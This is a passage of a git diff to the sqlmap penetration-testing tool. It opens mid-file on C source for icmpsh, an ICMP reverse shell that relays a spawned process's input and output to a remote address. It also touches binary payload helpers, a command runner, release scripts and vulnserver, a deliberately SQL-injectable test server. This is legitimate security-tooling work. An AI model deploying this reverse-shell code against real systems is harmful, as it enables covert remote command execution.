+ in_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE);
+ out_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE);
+ if (!in_buf || !out_buf) {
+ printf("failed to allocate memory for transfer buffers\n");
+ return -1;
+ }
+ memset(in_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE);
+ memset(out_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE);
+
+ // sending/receiving loop
+ blanks = 0;
+ do {
+
+ switch(status) {
+ case STATUS_SINGLE:
+ // reply with a static string
+ out_buf_size = sprintf(out_buf, "Test1234\n");
+ break;
+ case STATUS_PROCESS_NOT_CREATED:
+ // reply with error message
+ out_buf_size = sprintf(out_buf, "Process was not created\n");
+ break;
+ default:
+ // read data from process via pipe
+ out_buf_size = 0;
+ if (PeekNamedPipe(pipe_read, NULL, 0, NULL, &out_buf_size, NULL)) {
+ if (out_buf_size > 0) {
+ out_buf_size = 0;
+ rs = ReadFile(pipe_read, out_buf, max_data_size, &out_buf_size, NULL);
+ if (!rs && GetLastError() != ERROR_IO_PENDING) {
+ out_buf_size = sprintf(out_buf, "Error: ReadFile failed with %i\n", GetLastError());
+ }
+ }
+ } else {
+ out_buf_size = sprintf(out_buf, "Error: PeekNamedPipe failed with %i\n", GetLastError());
+ }
+ break;
+ }
+
+ // send request/receive response
+ if (transfer_icmp(icmp_chan, ip_addr, out_buf, out_buf_size, in_buf, &in_buf_size, max_data_size, timeout) == TRANSFER_SUCCESS) {
+ if (status == STATUS_OK) {
+ // write data from response back into pipe
+ WriteFile(pipe_write, in_buf, in_buf_size, &rs, 0);
+ }
+ blanks = 0;
+ } else {
+ // no reply received or error occured
+ blanks++;
+ }
+
+ // wait between requests
+ Sleep(delay);
+
+ } while (status == STATUS_OK && blanks < max_blanks);
+
+ if (status == STATUS_OK) {
+ TerminateProcess(pi.hProcess, 0);
+ }
+
+ return 0;
+}
+
diff --git a/extra/icmpsh/icmpsh.exe_ b/extra/icmpsh/icmpsh.exe_
index a909351bdac..46a2115cc44 100644
Binary files a/extra/icmpsh/icmpsh.exe_ and b/extra/icmpsh/icmpsh.exe_ differ
diff --git a/extra/runcmd/runcmd.exe_ b/extra/runcmd/runcmd.exe_
index 556eabb7be0..d3b4bebfe90 100644
Binary files a/extra/runcmd/runcmd.exe_ and b/extra/runcmd/runcmd.exe_ differ
diff --git a/extra/runcmd/src/runcmd.sln b/extra/runcmd/src/runcmd.sln
index 0770582d092..a70c648d0dc 100644
--- a/extra/runcmd/src/runcmd.sln
+++ b/extra/runcmd/src/runcmd.sln
@@ -1,20 +1,20 @@
-
-Microsoft Visual Studio Solution File, Format Version 9.00
-# Visual Studio 2005
-Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "runcmd", "runcmd\runcmd.vcproj", "{1C6185A9-871A-4F6E-9B2D-BE4399479784}"
-EndProject
-Global
- GlobalSection(SolutionConfigurationPlatforms) = preSolution
- Debug|Win32 = Debug|Win32
- Release|Win32 = Release|Win32
- EndGlobalSection
- GlobalSection(ProjectConfigurationPlatforms) = postSolution
- {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Debug|Win32.ActiveCfg = Debug|Win32
- {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Debug|Win32.Build.0 = Debug|Win32
- {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Release|Win32.ActiveCfg = Release|Win32
- {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Release|Win32.Build.0 = Release|Win32
- EndGlobalSection
- GlobalSection(SolutionProperties) = preSolution
- HideSolutionNode = FALSE
- EndGlobalSection
-EndGlobal
+
+Microsoft Visual Studio Solution File, Format Version 9.00
+# Visual Studio 2005
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "runcmd", "runcmd\runcmd.vcproj", "{1C6185A9-871A-4F6E-9B2D-BE4399479784}"
+EndProject
+Global
+ GlobalSection(SolutionConfigurationPlatforms) = preSolution
+ Debug|Win32 = Debug|Win32
+ Release|Win32 = Release|Win32
+ EndGlobalSection
+ GlobalSection(ProjectConfigurationPlatforms) = postSolution
+ {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Debug|Win32.ActiveCfg = Debug|Win32
+ {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Debug|Win32.Build.0 = Debug|Win32
+ {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Release|Win32.ActiveCfg = Release|Win32
+ {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Release|Win32.Build.0 = Release|Win32
+ EndGlobalSection
+ GlobalSection(SolutionProperties) = preSolution
+ HideSolutionNode = FALSE
+ EndGlobalSection
+EndGlobal
diff --git a/extra/runcmd/src/runcmd/runcmd.cpp b/extra/runcmd/src/runcmd/runcmd.cpp
index ab40a0c218e..743f2a279ef 100644
--- a/extra/runcmd/src/runcmd/runcmd.cpp
+++ b/extra/runcmd/src/runcmd/runcmd.cpp
@@ -1,46 +1,46 @@
-/*
- runcmd - a program for running command prompt commands
- Copyright (C) 2010 Miroslav Stampar
- email: miroslav.stampar@gmail.com
-
- This library is free software; you can redistribute it and/or
- modify it under the terms of the GNU Lesser General Public
- License as published by the Free Software Foundation; either
- version 2.1 of the License, or (at your option) any later version.
-
- This library is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
- Lesser General Public License for more details.
-
- You should have received a copy of the GNU Lesser General Public
- License along with this library; if not, write to the Free Software
- Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-*/
-
-#include
-#include
-#include
-#include "stdafx.h"
-#include
-
-using namespace std;
-int main(int argc, char* argv[])
-{
- FILE *fp;
- string cmd;
-
- for( int count = 1; count < argc; count++ )
- cmd += " " + string(argv[count]);
-
- fp = _popen(cmd.c_str(), "r");
-
- if (fp != NULL) {
- char buffer[BUFSIZ];
-
- while (fgets(buffer, sizeof buffer, fp) != NULL)
- fputs(buffer, stdout);
- }
-
- return 0;
-}
+/*
+ runcmd - a program for running command prompt commands
+ Copyright (C) 2010 Miroslav Stampar
+ email: miroslav.stampar@gmail.com
+
+ This library is free software; you can redistribute it and/or
+ modify it under the terms of the GNU Lesser General Public
+ License as published by the Free Software Foundation; either
+ version 2.1 of the License, or (at your option) any later version.
+
+ This library is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ Lesser General Public License for more details.
+
+ You should have received a copy of the GNU Lesser General Public
+ License along with this library; if not, write to the Free Software
+ Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+*/
+
+#include
+#include
+#include
+#include "stdafx.h"
+#include
+
+using namespace std;
+int main(int argc, char* argv[])
+{
+ FILE *fp;
+ string cmd;
+
+ for( int count = 1; count < argc; count++ )
+ cmd += " " + string(argv[count]);
+
+ fp = _popen(cmd.c_str(), "r");
+
+ if (fp != NULL) {
+ char buffer[BUFSIZ];
+
+ while (fgets(buffer, sizeof buffer, fp) != NULL)
+ fputs(buffer, stdout);
+ }
+
+ return 0;
+}
diff --git a/extra/runcmd/src/runcmd/runcmd.vcproj b/extra/runcmd/src/runcmd/runcmd.vcproj
index 928c71606b0..157e33863d9 100644
--- a/extra/runcmd/src/runcmd/runcmd.vcproj
+++ b/extra/runcmd/src/runcmd/runcmd.vcproj
@@ -1,225 +1,225 @@
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/extra/runcmd/src/runcmd/stdafx.cpp b/extra/runcmd/src/runcmd/stdafx.cpp
index f5e349538ca..e191a9156a4 100644
--- a/extra/runcmd/src/runcmd/stdafx.cpp
+++ b/extra/runcmd/src/runcmd/stdafx.cpp
@@ -1,8 +1,8 @@
-// stdafx.cpp : source file that includes just the standard includes
-// runcmd.pch will be the pre-compiled header
-// stdafx.obj will contain the pre-compiled type information
-
-#include "stdafx.h"
-
-// TODO: reference any additional headers you need in STDAFX.H
-// and not in this file
+// stdafx.cpp : source file that includes just the standard includes
+// runcmd.pch will be the pre-compiled header
+// stdafx.obj will contain the pre-compiled type information
+
+#include "stdafx.h"
+
+// TODO: reference any additional headers you need in STDAFX.H
+// and not in this file
diff --git a/extra/runcmd/src/runcmd/stdafx.h b/extra/runcmd/src/runcmd/stdafx.h
index bdabbfb48e9..0be0e6ffee0 100644
--- a/extra/runcmd/src/runcmd/stdafx.h
+++ b/extra/runcmd/src/runcmd/stdafx.h
@@ -1,17 +1,17 @@
-// stdafx.h : include file for standard system include files,
-// or project specific include files that are used frequently, but
-// are changed infrequently
-//
-
-#pragma once
-
-#ifndef _WIN32_WINNT // Allow use of features specific to Windows XP or later.
-#define _WIN32_WINNT 0x0501 // Change this to the appropriate value to target other versions of Windows.
-#endif
-
-#include
-#include
-
-
-
-// TODO: reference additional headers your program requires here
+// stdafx.h : include file for standard system include files,
+// or project specific include files that are used frequently, but
+// are changed infrequently
+//
+
+#pragma once
+
+#ifndef _WIN32_WINNT // Allow use of features specific to Windows XP or later.
+#define _WIN32_WINNT 0x0501 // Change this to the appropriate value to target other versions of Windows.
+#endif
+
+#include
+#include
+
+
+
+// TODO: reference additional headers your program requires here
diff --git a/extra/shellcodeexec/windows/shellcodeexec.x32.exe_ b/extra/shellcodeexec/windows/shellcodeexec.x32.exe_
index 0cbe5404fce..b55141d1d93 100644
Binary files a/extra/shellcodeexec/windows/shellcodeexec.x32.exe_ and b/extra/shellcodeexec/windows/shellcodeexec.x32.exe_ differ
diff --git a/extra/shutils/blanks.sh b/extra/shutils/blanks.sh
index bcc7440aff4..3ba88a266ac 100755
--- a/extra/shutils/blanks.sh
+++ b/extra/shutils/blanks.sh
@@ -1,6 +1,6 @@
#!/bin/bash
-# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
+# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
# See the file 'LICENSE' for copying permission
# Removes trailing spaces from blank lines inside project files
diff --git a/extra/shutils/drei.sh b/extra/shutils/drei.sh
index 9a75fbf2f9e..c334b972e84 100755
--- a/extra/shutils/drei.sh
+++ b/extra/shutils/drei.sh
@@ -1,14 +1,9 @@
#!/bin/bash
-# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
+# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
# See the file 'LICENSE' for copying permission
-# Stress test against Python3
+# Stress test against Python3(.14)
-export SQLMAP_DREI=1
-#for i in $(find . -iname "*.py" | grep -v __init__); do python3 -c 'import '`echo $i | cut -d '.' -f 2 | cut -d '/' -f 2- | sed 's/\//./g'`''; done
-for i in $(find . -iname "*.py" | grep -v __init__); do PYTHONWARNINGS=all python3 -m compileall $i | sed 's/Compiling/Checking/g'; done
-unset SQLMAP_DREI
+for i in $(find . -iname "*.py" | grep -v __init__); do PYTHONWARNINGS=all python3.14 -m compileall $i | sed 's/Compiling/Checking/g'; done
source `dirname "$0"`"/junk.sh"
-
-# for i in $(find . -iname "*.py" | grep -v __init__); do timeout 10 pylint --py3k $i; done 2>&1 | grep -v -E 'absolute_import|No config file'
diff --git a/extra/shutils/duplicates.py b/extra/shutils/duplicates.py
index 0278b85dc3b..5de6e357e57 100755
--- a/extra/shutils/duplicates.py
+++ b/extra/shutils/duplicates.py
@@ -1,6 +1,6 @@
#!/usr/bin/env python
-# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
+# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
# See the file 'LICENSE' for copying permission
# Removes duplicate entries in wordlist like files
diff --git a/extra/shutils/junk.sh b/extra/shutils/junk.sh
index e3bfc70b96b..544ccf12163 100755
--- a/extra/shutils/junk.sh
+++ b/extra/shutils/junk.sh
@@ -1,6 +1,6 @@
#!/bin/bash
-# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
+# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
# See the file 'LICENSE' for copying permission
find . -type d -name "__pycache__" -exec rm -rf {} \; &>/dev/null
diff --git a/extra/shutils/modernize.sh b/extra/shutils/modernize.sh
deleted file mode 100755
index e0b5352d892..00000000000
--- a/extra/shutils/modernize.sh
+++ /dev/null
@@ -1,8 +0,0 @@
-#!/bin/bash
-
-# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
-# See the file 'LICENSE' for copying permission
-
-# sudo pip install modernize
-
-for i in $(find . -iname "*.py" | grep -v __init__); do python-modernize $i 2>&1 | grep -E '^[+-]' | grep -v range | grep -v absolute_import; done
diff --git a/extra/shutils/precommit-hook.sh b/extra/shutils/precommit-hook.sh
index 9a25d123bb7..300916ae369 100755
--- a/extra/shutils/precommit-hook.sh
+++ b/extra/shutils/precommit-hook.sh
@@ -12,17 +12,19 @@ chmod +x .git/hooks/pre-commit
PROJECT="../../"
SETTINGS="../../lib/core/settings.py"
+DIGEST="../../data/txt/sha256sums.txt"
declare -x SCRIPTPATH="${0}"
PROJECT_FULLPATH=${SCRIPTPATH%/*}/$PROJECT
SETTINGS_FULLPATH=${SCRIPTPATH%/*}/$SETTINGS
+DIGEST_FULLPATH=${SCRIPTPATH%/*}/$DIGEST
git diff $SETTINGS_FULLPATH | grep "VERSION =" > /dev/null && exit 0
if [ -f $SETTINGS_FULLPATH ]
then
- LINE=$(grep -o ${SETTINGS_FULLPATH} -e 'VERSION = "[0-9.]*"')
+ LINE=$(grep -o ${SETTINGS_FULLPATH} -e '^VERSION = "[0-9.]*"')
declare -a LINE
INCREMENTED=$(python -c "import re, sys, time; version = re.search('\"([0-9.]*)\"', sys.argv[1]).group(1); _ = version.split('.'); _.extend([0] * (4 - len(_))); _[-1] = str(int(_[-1]) + 1); month = str(time.gmtime().tm_mon); _[-1] = '0' if _[-2] != month else _[-1]; _[-2] = month; print sys.argv[1].replace(version, '.'.join(_))" "$LINE")
if [ -n "$INCREMENTED" ]
@@ -35,3 +37,6 @@ then
fi
git add "$SETTINGS_FULLPATH"
fi
+
+cd $PROJECT_FULLPATH && git ls-files | sort | uniq | grep -Pv '^\.|sha256' | xargs sha256sum > $DIGEST_FULLPATH && cd -
+git add "$DIGEST_FULLPATH"
diff --git a/extra/shutils/pycodestyle.sh b/extra/shutils/pycodestyle.sh
index 34d995cde68..8b3f0121f0f 100755
--- a/extra/shutils/pycodestyle.sh
+++ b/extra/shutils/pycodestyle.sh
@@ -1,6 +1,6 @@
#!/bin/bash
-# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
+# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
# See the file 'LICENSE' for copying permission
# Runs pycodestyle on all python files (prerequisite: pip install pycodestyle)
diff --git a/extra/shutils/pydiatra.sh b/extra/shutils/pydiatra.sh
index 6f964e74752..20c62373daf 100755
--- a/extra/shutils/pydiatra.sh
+++ b/extra/shutils/pydiatra.sh
@@ -1,6 +1,6 @@
#!/bin/bash
-# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
+# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
# See the file 'LICENSE' for copying permission
# Runs py3diatra on all python files (prerequisite: pip install pydiatra)
diff --git a/extra/shutils/pyflakes.sh b/extra/shutils/pyflakes.sh
index 9d64d9893dc..cbe37a7a0a8 100755
--- a/extra/shutils/pyflakes.sh
+++ b/extra/shutils/pyflakes.sh
@@ -1,6 +1,6 @@
#!/bin/bash
-# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
+# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
# See the file 'LICENSE' for copying permission
# Runs pyflakes on all python files (prerequisite: apt-get install pyflakes)
diff --git a/extra/shutils/pylint.sh b/extra/shutils/pylint.sh
deleted file mode 100755
index b8898be2d36..00000000000
--- a/extra/shutils/pylint.sh
+++ /dev/null
@@ -1,6 +0,0 @@
-#!/bin/bash
-
-# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
-# See the file 'LICENSE' for copying permission
-
-find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pylint --rcfile=./.pylintrc '{}' \;
diff --git a/extra/shutils/pypi.sh b/extra/shutils/pypi.sh
index 4aed1e72d6e..3cdbdf5d714 100755
--- a/extra/shutils/pypi.sh
+++ b/extra/shutils/pypi.sh
@@ -1,4 +1,6 @@
#!/bin/bash
+set -euo pipefail
+IFS=$'\n\t'
if [ ! -f ~/.pypirc ]; then
echo "File ~/.pypirc is missing"
@@ -9,14 +11,15 @@ declare -x SCRIPTPATH="${0}"
SETTINGS="${SCRIPTPATH%/*}/../../lib/core/settings.py"
VERSION=$(cat $SETTINGS | grep -E "^VERSION =" | cut -d '"' -f 2 | cut -d '.' -f 1-3)
TYPE=pip
-TMP_DIR=/tmp/pypi
-mkdir $TMP_DIR
-cd $TMP_DIR
-cat > $TMP_DIR/setup.py << EOF
+TMP_DIR="$(mktemp -d -t pypi.XXXXXXXX)"
+cleanup() { rm -rf -- "${TMP_DIR:?}"; }
+trap cleanup EXIT
+cd "$TMP_DIR"
+cat > "$TMP_DIR/setup.py" << EOF
#!/usr/bin/env python
"""
-Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
@@ -38,7 +41,8 @@ setup(
},
download_url='https://github.com/sqlmapproject/sqlmap/archive/$VERSION.zip',
license='GNU General Public License v2 (GPLv2)',
- packages=find_packages(),
+ packages=['sqlmap'],
+ package_dir={'sqlmap':'sqlmap'},
include_package_data=True,
zip_safe=False,
# https://pypi.python.org/pypi?%3Aaction=list_classifiers
@@ -67,7 +71,7 @@ cat > sqlmap/__init__.py << EOF
#!/usr/bin/env python
"""
-Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
@@ -81,7 +85,7 @@ cat > README.rst << "EOF"
sqlmap
======
-|Python 2.6|2.7|3.x| |License| |Twitter|
+|Python 2.7|3.x| |License| |X|
sqlmap is an open source penetration testing tool that automates the
process of detecting and exploiting SQL injection flaws and taking over
@@ -122,7 +126,7 @@ If you prefer fetching daily updates, you can download sqlmap by cloning the
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
sqlmap works out of the box with
-`Python `__ version **2.6**, **2.7** and
+`Python `__ version **2.7** and
**3.x** on any platform.
Usage
@@ -159,22 +163,30 @@ Links
- User's manual: https://github.com/sqlmapproject/sqlmap/wiki
- Frequently Asked Questions (FAQ):
https://github.com/sqlmapproject/sqlmap/wiki/FAQ
-- Twitter: https://twitter.com/sqlmap
+- X: https://x.com/sqlmap
- Demos: http://www.youtube.com/user/inquisb/videos
- Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
-.. |Python 2.6|2.7|3.x| image:: https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg
+.. |Python 2.7|3.x| image:: https://img.shields.io/badge/python-2.7|3.x-yellow.svg
:target: https://www.python.org/
.. |License| image:: https://img.shields.io/badge/license-GPLv2-red.svg
:target: https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE
-.. |Twitter| image:: https://img.shields.io/badge/twitter-@sqlmap-blue.svg
- :target: https://twitter.com/sqlmap
+.. |X| image:: https://img.shields.io/badge/x-@sqlmap-blue.svg
+ :target: https://x.com/sqlmap
.. pandoc --from=markdown --to=rst --output=README.rst sqlmap/README.md
.. http://rst.ninjs.org/
EOF
sed -i "s/^VERSION =.*/VERSION = \"$VERSION\"/g" sqlmap/lib/core/settings.py
sed -i "s/^TYPE =.*/TYPE = \"$TYPE\"/g" sqlmap/lib/core/settings.py
-for file in $(find sqlmap -type f | grep -v -E "\.(git|yml)"); do echo include $file >> MANIFEST.in; done
-python setup.py sdist upload
-rm -rf $TMP_DIR
+: > MANIFEST.in
+while IFS= read -r -d '' file; do
+ case "$file" in
+ *.git|*.yml) continue ;;
+ esac
+ echo "include $file" >> MANIFEST.in
+done < <(find sqlmap -type f -print0)
+python setup.py sdist bdist_wheel
+twine check dist/*
+twine upload --config-file=~/.pypirc dist/*
+rm -rf "$TMP_DIR"
diff --git a/extra/vulnserver/__init__.py b/extra/vulnserver/__init__.py
index 8476fab2f94..bcac841631b 100644
--- a/extra/vulnserver/__init__.py
+++ b/extra/vulnserver/__init__.py
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py
index 76f9c23762a..769108f928d 100644
--- a/extra/vulnserver/vulnserver.py
+++ b/extra/vulnserver/vulnserver.py
@@ -3,7 +3,7 @@
"""
vulnserver.py - Trivial SQLi vulnerable HTTP server (Note: for testing purposes)
-Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
@@ -11,8 +11,10 @@
import base64
import json
+import random
import re
import sqlite3
+import string
import sys
import threading
import traceback
@@ -49,9 +51,70 @@
);
INSERT INTO users (id, name, surname) VALUES (1, 'luther', 'blisset');
INSERT INTO users (id, name, surname) VALUES (2, 'fluffy', 'bunny');
- INSERT INTO users (id, name, surname) VALUES (3, 'wu', '179ad45c6ce2cb97cf1029e212046e81');
- INSERT INTO users (id, name, surname) VALUES (4, 'sqlmap/1.0-dev (https://sqlmap.org)', 'user agent header');
- INSERT INTO users (id, name, surname) VALUES (5, NULL, 'nameisnull');
+ INSERT INTO users (id, name, surname) VALUES (3, 'wu', 'ming');
+ INSERT INTO users (id, name, surname) VALUES (4, NULL, 'nameisnull');
+ INSERT INTO users (id, name, surname) VALUES (5, 'mark', 'lewis');
+ INSERT INTO users (id, name, surname) VALUES (6, 'ada', 'lovelace');
+ INSERT INTO users (id, name, surname) VALUES (7, 'grace', 'hopper');
+ INSERT INTO users (id, name, surname) VALUES (8, 'alan', 'turing');
+ INSERT INTO users (id, name, surname) VALUES (9, 'margaret','hamilton');
+ INSERT INTO users (id, name, surname) VALUES (10, 'donald', 'knuth');
+ INSERT INTO users (id, name, surname) VALUES (11, 'tim', 'bernerslee');
+ INSERT INTO users (id, name, surname) VALUES (12, 'linus', 'torvalds');
+ INSERT INTO users (id, name, surname) VALUES (13, 'ken', 'thompson');
+ INSERT INTO users (id, name, surname) VALUES (14, 'dennis', 'ritchie');
+ INSERT INTO users (id, name, surname) VALUES (15, 'barbara', 'liskov');
+ INSERT INTO users (id, name, surname) VALUES (16, 'edsger', 'dijkstra');
+ INSERT INTO users (id, name, surname) VALUES (17, 'john', 'mccarthy');
+ INSERT INTO users (id, name, surname) VALUES (18, 'leslie', 'lamport');
+ INSERT INTO users (id, name, surname) VALUES (19, 'niklaus', 'wirth');
+ INSERT INTO users (id, name, surname) VALUES (20, 'bjarne', 'stroustrup');
+ INSERT INTO users (id, name, surname) VALUES (21, 'guido', 'vanrossum');
+ INSERT INTO users (id, name, surname) VALUES (22, 'brendan', 'eich');
+ INSERT INTO users (id, name, surname) VALUES (23, 'james', 'gosling');
+ INSERT INTO users (id, name, surname) VALUES (24, 'andrew', 'tanenbaum');
+ INSERT INTO users (id, name, surname) VALUES (25, 'yukihiro','matsumoto');
+ INSERT INTO users (id, name, surname) VALUES (26, 'radia', 'perlman');
+ INSERT INTO users (id, name, surname) VALUES (27, 'katherine','johnson');
+ INSERT INTO users (id, name, surname) VALUES (28, 'hady', 'lamarr');
+ INSERT INTO users (id, name, surname) VALUES (29, 'frank', 'miller');
+ INSERT INTO users (id, name, surname) VALUES (30, 'john', 'steward');
+
+ CREATE TABLE creds (
+ user_id INTEGER,
+ password_hash TEXT,
+ FOREIGN KEY (user_id) REFERENCES users(id)
+ );
+ INSERT INTO creds (user_id, password_hash) VALUES (1, 'db3a16990a0008a3b04707fdef6584a0');
+ INSERT INTO creds (user_id, password_hash) VALUES (2, '4db967ce67b15e7fb84c266a76684729');
+ INSERT INTO creds (user_id, password_hash) VALUES (3, 'f5a2950eaa10f9e99896800eacbe8275');
+ INSERT INTO creds (user_id, password_hash) VALUES (4, NULL);
+ INSERT INTO creds (user_id, password_hash) VALUES (5, '179ad45c6ce2cb97cf1029e212046e81');
+ INSERT INTO creds (user_id, password_hash) VALUES (6, '0f1e2d3c4b5a69788796a5b4c3d2e1f0');
+ INSERT INTO creds (user_id, password_hash) VALUES (7, 'a1b2c3d4e5f60718293a4b5c6d7e8f90');
+ INSERT INTO creds (user_id, password_hash) VALUES (8, '1a2b3c4d5e6f708192a3b4c5d6e7f809');
+ INSERT INTO creds (user_id, password_hash) VALUES (9, '9f8e7d6c5b4a3928170605f4e3d2c1b0');
+ INSERT INTO creds (user_id, password_hash) VALUES (10, '3c2d1e0f9a8b7c6d5e4f30291807f6e5');
+ INSERT INTO creds (user_id, password_hash) VALUES (11, 'b0c1d2e3f405162738495a6b7c8d9eaf');
+ INSERT INTO creds (user_id, password_hash) VALUES (12, '6e5d4c3b2a190807f6e5d4c3b2a1908f');
+ INSERT INTO creds (user_id, password_hash) VALUES (13, '11223344556677889900aabbccddeeff');
+ INSERT INTO creds (user_id, password_hash) VALUES (14, 'ffeeddccbbaa00998877665544332211');
+ INSERT INTO creds (user_id, password_hash) VALUES (15, '1234567890abcdef1234567890abcdef');
+ INSERT INTO creds (user_id, password_hash) VALUES (16, 'abcdef1234567890abcdef1234567890');
+ INSERT INTO creds (user_id, password_hash) VALUES (17, '0a1b2c3d4e5f60718a9b0c1d2e3f4051');
+ INSERT INTO creds (user_id, password_hash) VALUES (18, '51f04e3d2c1b0a9871605f4e3d2c1b0a');
+ INSERT INTO creds (user_id, password_hash) VALUES (19, '89abcdef0123456789abcdef01234567');
+ INSERT INTO creds (user_id, password_hash) VALUES (20, '76543210fedcba9876543210fedcba98');
+ INSERT INTO creds (user_id, password_hash) VALUES (21, '13579bdf2468ace013579bdf2468ace0');
+ INSERT INTO creds (user_id, password_hash) VALUES (22, '02468ace13579bdf02468ace13579bdf');
+ INSERT INTO creds (user_id, password_hash) VALUES (23, 'deadbeefdeadbeefdeadbeefdeadbeef');
+ INSERT INTO creds (user_id, password_hash) VALUES (24, 'cafebabecafebabecafebabecafebabe');
+ INSERT INTO creds (user_id, password_hash) VALUES (25, '00112233445566778899aabbccddeeff');
+ INSERT INTO creds (user_id, password_hash) VALUES (26, 'f0e1d2c3b4a5968778695a4b3c2d1e0f');
+ INSERT INTO creds (user_id, password_hash) VALUES (27, '7f6e5d4c3b2a190807f6e5d4c3b2a190');
+ INSERT INTO creds (user_id, password_hash) VALUES (28, '908f7e6d5c4b3a291807f6e5d4c3b2a1');
+ INSERT INTO creds (user_id, password_hash) VALUES (29, '3049b791fa83e2f42f37bae18634b92d');
+ INSERT INTO creds (user_id, password_hash) VALUES (30, 'd59a348f90d757c7da30418773424b5e');
"""
LISTEN_ADDRESS = "localhost"
@@ -62,11 +125,15 @@
_lock = None
_server = None
_alive = False
+_csrf_token = None
def init(quiet=False):
global _conn
global _cursor
global _lock
+ global _csrf_token
+
+ _csrf_token = "".join(random.sample(string.ascii_letters + string.digits, 20))
_conn = sqlite3.connect(":memory:", isolation_level=None, check_same_thread=False)
_cursor = _conn.cursor()
@@ -131,6 +198,28 @@ def do_REQUEST(self):
self.url, self.params = path, params
+ if self.url == "/csrf":
+ if self.params.get("csrf_token") == _csrf_token:
+ self.url = "/"
+ else:
+ self.send_response(OK)
+ self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING)
+ self.end_headers()
+
+ form = (
+ ""
+ "CSRF protection check
"
+ ""
+ ""
+ ) % _csrf_token
+
+ self.wfile.write(form.encode(UNICODE_ENCODING))
+ return
+
if self.url == '/':
if not any(_ in self.params for _ in ("id", "query")):
self.send_response(OK)
@@ -139,7 +228,7 @@ def do_REQUEST(self):
self.end_headers()
self.wfile.write(b"vulnserverGET:
link
POST:
")
else:
- code, output = OK, ""
+ code, output = OK, ""
try:
if self.params.get("echo", ""):
@@ -177,6 +266,11 @@ def do_REQUEST(self):
else:
output += "no results found"
+ if not results:
+ output = "No results" + output
+ else:
+ output = "Results" + output
+
output += ""
except Exception as ex:
code = INTERNAL_SERVER_ERROR
diff --git a/lib/__init__.py b/lib/__init__.py
index 8476fab2f94..bcac841631b 100644
--- a/lib/__init__.py
+++ b/lib/__init__.py
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
diff --git a/lib/controller/__init__.py b/lib/controller/__init__.py
index 8476fab2f94..bcac841631b 100644
--- a/lib/controller/__init__.py
+++ b/lib/controller/__init__.py
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
